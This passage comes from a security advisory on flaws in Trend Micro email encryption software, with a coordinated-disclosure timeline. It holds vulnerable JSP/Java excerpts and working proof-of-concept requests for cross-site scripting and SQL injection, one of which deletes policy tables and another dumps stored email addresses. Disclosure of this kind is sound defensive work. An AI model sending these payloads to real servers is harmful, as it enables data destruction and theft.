meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc